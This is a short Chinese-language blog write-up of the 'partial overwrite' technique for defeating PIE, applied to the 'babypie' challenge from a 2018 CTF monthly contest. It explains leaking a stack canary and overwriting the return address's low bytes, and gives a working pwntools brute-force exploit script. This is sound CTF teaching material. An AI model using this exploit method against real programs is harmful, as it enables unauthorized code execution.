首页 > 技术文章 > 栈上的 partial overwrite

lxy8584099 2019-11-24 17:01 原文

partial overwrite 部分覆盖

用到该方法的情况是:存在PIE并且获取某函数地址有一定难度

这时候因为PIE不会修改地址最后几位数如图

 

可以发现每个函数之后末尾3位不同

所以我们可以仅修改末尾的4位(因为每个字符相当于占两位 无法只修改三位)

这样就有一定的概率返回到我们想要的正确函数地址

安恒杯 2018 年 7 月月赛的 babypie

 

 

有canary保护 

read读满不会追加/0 就可以顺带把标志位printf出来

正确拼凑padding之后追加'\x3E\x0A'

进行while 1 方式的尝试 无限回车即可

效果大概是这样的

 

from pwn import *

while 1:
    io=process('./pie',timeout=1)
    io.recvuntil('Name:\n')
    io.sendline('A'*0x28)
    io.recvuntil('A'*0x28+'\n')
    canary=u64(io.recvn(7).rjust(8,'\x00'))
    print 'canary:'+hex(canary)
    io.recvuntil(':\n')
    payload='A'*0x28+p64(canary)+'A'*8+'\x3E\x0A'
    io.send(payload)
    io.interactive()
    io.close()
# 55C4259F7A6A
# 55C4259F7A3E
# 55C4259F7960

 

推荐阅读